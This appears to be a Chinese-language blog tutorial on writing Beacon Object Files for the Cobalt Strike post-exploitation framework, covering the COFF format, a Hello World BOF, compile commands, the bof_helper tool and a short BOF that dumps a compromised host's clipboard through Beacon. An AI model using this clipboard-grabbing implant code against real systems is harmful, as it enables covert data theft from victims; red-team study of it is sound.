介绍CobaltStrike新功能BOF

 

What is COFF?

COFF – 通用对象文件格式(Common Object File Format),是一种很流行的对象文件格式(注意:这里“对象这个用词,这种格式不只用于目标文件,库文件、可执行文件也经常是这种格式)。我们编写的C++对象文件,先会被编译成为一个和文件同名且格式为obj的文件,然后链接器会将这些obj文件链接成Exe或者DLL这样的PE文件。这里的obj文件就是COFF格式的。其它的编译器,如GCC(GNU Compiler Collection)、ICL(Intel C/C++ Compiler)、VectorC,也使用这种格式的目标文件。不仅仅是C/C++,很多其它语言也使用这种格式的对象文件。统一格式的目标文件为混合语言编程带来了极大的方便。而且常见的对象文件格式还有OMF-对象模型文件(Object Module File)以及ELF-可执行及连接文件格式(Executable and Linking Format)。

更多关于COFF文件格式

Beacon Object Files

官方定义:

A Beacon Object File (BOF) is a compiled C program, written to a convention that allows it to execute within a Beacon process and use internal Beacon APIs. BOFs are a way to rapidly extend the Beacon agent with new post-exploitation features.

  • BOF实际上也是一个COF文件格式,BOF实际上是编译后的obj文件,并没有常规的进行后续的链接生成EXE或DLL所以好处就是体积小

  • 开发BOFs也很容易,只需要一个Win32 C Compiler 可以跨平台编译

  • 对于Beacon,BOF只是一个位置无关的代码块,对于CS端,会解析然后作为一个链接器加载它的内容。

  • CS无法与libc链接,可以使用其他代替

  • BOF在目标的beacon中执行,如果写的BOF发生异常崩溃,那么这个beacon也会崩溃,所以务必要写好你的BOFs

How do I develop a BOF?

Easy. Open up a text editor and start writing a C program. Here’s a Hello World BOF:

#include <windows.h>
#include "beacon.h"

void go(char * args, int alen) {
      BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args);
}

Download beacon.h (you’ll need it):

https://www.cobaltstrike.com/downloads/beacon.h

To compile this with Visual Studio:

cl.exe /c /GS- hello.c /Fohello.o

To compile this with x86 MinGW:

i686-w64-mingw32-gcc -c hello.c -o hello.o

To compile this with x64 MinGW:

x86_64-w64-mingw32-gcc -c hello.c -o hello.o

The above commands will produce a hello.o file. Use inline-execute in Beacon to run the BOF.

beacon> inline-execute /path/to/hello.o these are arguments

值得注意的是,beacon.h包含了一些Beacon APIs,例如上例的BeaconPrintf在Beacon中进行打印操作,并且主程序是void类型的名为go(可以修改),这个和我们一般的C程序main函数类似,用作inline-execute去调用。

如果你想编写cna脚本方便调用BOF的话,CobaltStrike也提供了相应的Functions

image-20200819132454326

更多查看:beacon_inline_execute

比如一个记录目标beacon上剪切板内容的示例程序:

#include <windows.h>
#include <string.h>
#include <winuser.h>
#include "beacon.h"

DECLSPEC_IMPORT HWND WINAPI KERNEL32$GetConsoleWindow(void);
DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND);
DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT);
DECLSPEC_IMPORT WINUSERAPI BOOL  WINAPI USER32$CloseClipboard(void);


 void go() {

    HWND owner = KERNEL32$GetConsoleWindow(); 
    USER32$OpenClipboard(owner);
    owner = USER32$GetClipboardData(CF_TEXT);
    BeaconPrintf(CALLBACK_OUTPUT, "%s\n", (char *)owner);;
    USER32$CloseClipboard();
 }

可以发现和普通C程序不一样的地方,调用的WINAPI前需加$以及Library名字,以及上面声明的时候,编写的时候可以先正常的编写并测试完成后,再修改为BOF程序,可以查看WINAPI的声明处,自己修改为这个格式,有很多你不知道是哪些Library的话就得查找资料,这里我推荐一个bof_helper

这个项目可以直接帮你查找相应的方法的头文件声明,并且转换为BOF编写需要的格式,所以直接可以复制结果到你的BOF程序中

https://github.com/dtmsecurity/bof_helper

比如:

python3 bof_helper.py DsGetDcNameA
██████╗  ██████╗ ███████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║   ██║█████╗
██╔══██╗██║   ██║██╔══╝
██████╔╝╚██████╔╝██║
╚═════╝  ╚═════╝ ╚═╝
BOF Helper by @dtmsecurity

[Library] DsGetDcNameA is probably in NetApi32

[Declaration] DWORD WINAPI DsGetDcNameA(LPCSTR, LPCSTR, GUID*, LPCSTR, ULONG, PDOMAIN_CONTROLLER_INFOA*);

[BOF Helper]
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR, LPCSTR, GUID*, LPCSTR, ULONG, PDOMAIN_CONTROLLER_INFOA*);

有了这个就可以开始编写自己的BOF了

下面这个项目给了很多官方示例

https://github.com/rvrsh3ll/BOF_Collection

执行方式:

使用inline-execute执行记录剪切板

屏幕快照 2020-08-19 14.10.21

使用Aggressor Script提供的inline-execute方法编写cna,直接命令加参数执行扫描端口BOF

image-20200819141217691